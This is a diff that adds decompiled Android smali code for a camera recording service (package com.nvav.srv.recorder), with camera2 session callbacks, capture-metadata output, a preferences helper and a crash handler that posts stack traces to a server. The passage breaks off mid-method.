invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
.line 81
:goto_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->start()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_2
:catch_0
move-exception p1
.line 83
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:goto_2
return-void
.end method

View File

@@ -0,0 +1,79 @@
.class Lcom/nvav/srv/recorder/CameraRecord$2$1;
.super Ljava/lang/Thread;
.source "CameraRecord.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/CameraRecord$2;->onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$1:Lcom/nvav/srv/recorder/CameraRecord$2;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraRecord$2;)V
.locals 0
.line 145
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2$1;->this$1:Lcom/nvav/srv/recorder/CameraRecord$2;
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
return-void
.end method
# virtual methods
.method public run()V
.locals 2
.line 148
:goto_0
sget-boolean v0, Lcom/nvav/srv/recorder/CameraRecord;->Starting:Z
if-eqz v0, :cond_0
.line 150
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2$1;->this$1:Lcom/nvav/srv/recorder/CameraRecord$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
const/4 v1, 0x0
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraRecord;->access$400(Lcom/nvav/srv/recorder/CameraRecord;Z)V
const-wide/16 v0, 0x1
.line 151
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraRecord$2$1;->sleep(J)V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception v0
.line 153
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$2$1;->this$1:Lcom/nvav/srv/recorder/CameraRecord$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
goto :goto_0
:cond_0
return-void
.end method

View File

@@ -0,0 +1,365 @@
.class Lcom/nvav/srv/recorder/CameraRecord$2;
.super Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
.source "CameraRecord.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraRecord;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraRecord;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraRecord;)V
.locals 0
.line 127
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$StateCallback;-><init>()V
return-void
.end method
# virtual methods
.method public onActive(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 166
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string v0, "time %d"
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string v0, "CameraCaptureSession ac"
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method
.method public onClosed(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
const/4 p1, 0x0
.line 171
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
move-result-object v1
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->removeTarget(Landroid/view/Surface;)V
.line 172
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
.line 173
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mHandler:Landroid/os/Handler;
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception v0
.line 177
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 179
:goto_0
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object v0
filled-new-array {v0}, [Ljava/lang/Object;
move-result-object v0
const-string v1, "time %d"
invoke-static {v1, v0}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v0
const-string v1, "CameraCaptureSession cl"
invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
.line 181
:try_start_1
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mThread:Landroid/os/HandlerThread;
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
.line 182
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mThread:Landroid/os/HandlerThread;
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
goto :goto_1
:catch_1
move-exception p1
.line 186
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:goto_1
return-void
.end method
.method public onConfigureFailed(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 0
return-void
.end method
.method public onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 5
.line 131
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->hiSpeed:I
if-lez v0, :cond_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
check-cast p1, Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraRecord;->access$102(Lcom/nvav/srv/recorder/CameraRecord;Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;)Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
goto :goto_0
.line 132
:cond_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraRecord;->access$202(Lcom/nvav/srv/recorder/CameraRecord;Landroid/hardware/camera2/CameraCaptureSession;)Landroid/hardware/camera2/CameraCaptureSession;
.line 133
:goto_0
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
const/4 v1, 0x3
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CameraDevice;->createCaptureRequest(I)Landroid/hardware/camera2/CaptureRequest$Builder;
move-result-object v0
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
.line 134
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
move-result-object v0
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->addTarget(Landroid/view/Surface;)V
.line 135
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->hiSpeed:I
const/4 v0, 0x1
if-ne p1, v0, :cond_1
.line 136
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
new-instance v1, Landroid/util/Range;
const/16 v2, 0x78
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v3
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v4
invoke-direct {v1, v3, v4}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 137
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iput v2, p1, Lcom/nvav/srv/recorder/CameraRecord;->FPS:I
goto :goto_1
.line 139
:cond_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->hiSpeed:I
const/4 v0, 0x2
if-ne p1, v0, :cond_2
.line 140
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
new-instance v1, Landroid/util/Range;
const/16 v2, 0xf0
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v3
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v4
invoke-direct {v1, v3, v4}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 141
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iput v2, p1, Lcom/nvav/srv/recorder/CameraRecord;->FPS:I
.line 144
:cond_2
:goto_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraRecord;->access$300(Lcom/nvav/srv/recorder/CameraRecord;)V
.line 145
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
new-instance v0, Lcom/nvav/srv/recorder/CameraRecord$2$1;
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/CameraRecord$2$1;-><init>(Lcom/nvav/srv/recorder/CameraRecord$2;)V
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingThread:Ljava/lang/Thread;
.line 159
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingThread:Ljava/lang/Thread;
invoke-virtual {p1}, Ljava/lang/Thread;->start()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_2
:catch_0
move-exception p1
.line 161
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:goto_2
return-void
.end method
.method public onReady(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 191
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string v0, "time %d"
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string v0, "CameraCaptureSession re"
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method

View File

@@ -0,0 +1,242 @@
.class Lcom/nvav/srv/recorder/CameraRecord$3;
.super Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;
.source "CameraRecord.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraRecord;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field lat:D
.field lon:D
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraRecord;
.field time_out_param:J
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraRecord;)V
.locals 2
.line 198
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;-><init>()V
.line 199
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->time_out_param:J
const-wide/16 v0, 0x0
.line 200
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->lat:D
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->lon:D
return-void
.end method
# virtual methods
.method public onCaptureCompleted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/TotalCaptureResult;)V
.locals 7
.line 207
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
iget-wide v0, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->time_out_param:J
sub-long/2addr p1, v0
const-wide/16 v0, 0xc8
cmp-long p1, p1, v0
if-lez p1, :cond_0
.line 208
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->lat:D
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
move-result-object v0
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->lon:D
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
move-result-object v1
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureResult$Key;
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v2
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureResult$Key;
.line 209
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Ljava/lang/Long;
invoke-virtual {p1}, Ljava/lang/Long;->longValue()J
move-result-wide p1
const-wide/32 v3, 0x3b9aca00
div-long/2addr v3, p1
invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object v3
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_APERTURE:Landroid/hardware/camera2/CaptureResult$Key;
.line 210
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v4
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureResult$Key;
.line 211
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v5
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureResult$Key;
.line 212
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v6
filled-new-array/range {v0 .. v6}, [Ljava/lang/Object;
move-result-object p1
.line 208
const-string p2, "%f;%f;%d;%d;%.2f;%f;%d"
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
.line 213
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {p1}, Ljava/lang/String;->length()I
move-result p3
add-int/lit8 p3, p3, 0x1
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object p3
const/16 v0, 0x4d
invoke-virtual {p3, v0}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
move-result-object p3
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
move-result-object p1
invoke-virtual {p3, p1}, Ljava/nio/ByteBuffer;->put([B)Ljava/nio/ByteBuffer;
move-result-object p1
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
move-result-object p1
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
.line 214
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
iput-wide p1, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->time_out_param:J
:cond_0
return-void
.end method
.method public onCaptureFailed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureFailure;)V
.locals 0
return-void
.end method
.method public onCaptureProgressed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureResult;)V
.locals 0
.line 221
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
invoke-static {p1, p2}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string p2, "time %d"
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string p2, "CameraCaptureSession pr"
invoke-static {p2, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method
.method public onCaptureSequenceAborted(Landroid/hardware/camera2/CameraCaptureSession;I)V
.locals 0
return-void
.end method
.method public onCaptureSequenceCompleted(Landroid/hardware/camera2/CameraCaptureSession;IJ)V
.locals 0
return-void
.end method
.method public onCaptureStarted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;JJ)V
.locals 0
return-void
.end method

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,121 @@
.class public Lcom/nvav/srv/recorder/ChenalC;
.super Ljava/lang/Object;
.source "ChenalC.java"
# static fields
.field private static instance:Lcom/nvav/srv/recorder/ChenalC;
# instance fields
.field private sharedPreferences:Landroid/content/SharedPreferences;
# direct methods
.method private constructor <init>(Landroid/content/Context;)V
.locals 2
.line 10
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
.line 12
const-string v0, "V__s"
const/4 v1, 0x0
invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
move-result-object p1
iput-object p1, p0, Lcom/nvav/srv/recorder/ChenalC;->sharedPreferences:Landroid/content/SharedPreferences;
return-void
.end method
.method public static declared-synchronized getInstance(Landroid/content/Context;)Lcom/nvav/srv/recorder/ChenalC;
.locals 2
const-class v0, Lcom/nvav/srv/recorder/ChenalC;
monitor-enter v0
.line 16
:try_start_0
sget-object v1, Lcom/nvav/srv/recorder/ChenalC;->instance:Lcom/nvav/srv/recorder/ChenalC;
if-nez v1, :cond_0
.line 17
new-instance v1, Lcom/nvav/srv/recorder/ChenalC;
invoke-direct {v1, p0}, Lcom/nvav/srv/recorder/ChenalC;-><init>(Landroid/content/Context;)V
sput-object v1, Lcom/nvav/srv/recorder/ChenalC;->instance:Lcom/nvav/srv/recorder/ChenalC;
.line 19
:cond_0
sget-object p0, Lcom/nvav/srv/recorder/ChenalC;->instance:Lcom/nvav/srv/recorder/ChenalC;
:try_end_0
.catchall {:try_start_0 .. :try_end_0} :catchall_0
monitor-exit v0
return-object p0
:catchall_0
move-exception p0
monitor-exit v0
throw p0
.end method
# virtual methods
.method public get()Ljava/lang/Byte;
.locals 3
.line 30
iget-object v0, p0, Lcom/nvav/srv/recorder/ChenalC;->sharedPreferences:Landroid/content/SharedPreferences;
const-string v1, "C__l"
const/4 v2, 0x0
invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
move-result v0
int-to-byte v0, v0
invoke-static {v0}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
move-result-object v0
return-object v0
.end method
.method public set(Ljava/lang/Byte;)V
.locals 2
.line 24
iget-object v0, p0, Lcom/nvav/srv/recorder/ChenalC;->sharedPreferences:Landroid/content/SharedPreferences;
invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
move-result-object v0
.line 25
const-string v1, "C__l"
invoke-virtual {p1}, Ljava/lang/Byte;->byteValue()B
move-result p1
invoke-interface {v0, v1, p1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
.line 26
invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
return-void
.end method

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,317 @@
.class public Lcom/nvav/srv/recorder/CustomExceptionHandler;
.super Ljava/lang/Object;
.source "CustomExceptionHandler.java"
# interfaces
.implements Ljava/lang/Thread$UncaughtExceptionHandler;
# instance fields
.field private defaultUEH:Ljava/lang/Thread$UncaughtExceptionHandler;
.field private localPath:Ljava/lang/String;
.field private url:Ljava/lang/String;
# direct methods
.method public constructor <init>(Ljava/lang/String;Ljava/lang/String;)V
.locals 0
.line 29
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
.line 30
iput-object p1, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->localPath:Ljava/lang/String;
.line 31
iput-object p2, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->url:Ljava/lang/String;
.line 32
invoke-static {}, Ljava/lang/Thread;->getDefaultUncaughtExceptionHandler()Ljava/lang/Thread$UncaughtExceptionHandler;
move-result-object p1
iput-object p1, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->defaultUEH:Ljava/lang/Thread$UncaughtExceptionHandler;
return-void
.end method
.method private sendToServer(Ljava/lang/String;Ljava/lang/String;)V
.locals 5
.line 70
const-string v0, "="
const-string v1, "UTF-8"
:try_start_0
new-instance v2, Ljava/net/URL;
iget-object v3, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->url:Ljava/lang/String;
invoke-direct {v2, v3}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
.line 71
invoke-virtual {v2}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
move-result-object v2
check-cast v2, Ljava/net/HttpURLConnection;
const/4 v3, 0x1
.line 72
invoke-virtual {v2, v3}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
.line 73
const-string v3, "POST"
invoke-virtual {v2, v3}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
.line 74
const-string v3, "Accept"
const-string v4, "*/*"
invoke-virtual {v2, v3, v4}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
.line 75
new-instance v3, Ljava/lang/StringBuilder;
invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
.line 76
const-string v4, "filename"
invoke-static {v4, v1}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object v4
invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
.line 77
invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
.line 78
invoke-static {p2, v1}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object p2
invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
.line 79
const-string p2, "&"
invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
.line 80
const-string p2, "stacktrace"
invoke-static {p2, v1}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object p2
invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
.line 81
invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
.line 82
invoke-static {p1, v1}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object p1
invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
.line 83
invoke-virtual {v2}, Ljava/net/HttpURLConnection;->connect()V
.line 84
invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
move-result-object p1
.line 85
new-instance p2, Ljava/io/BufferedWriter;
new-instance v0, Ljava/io/OutputStreamWriter;
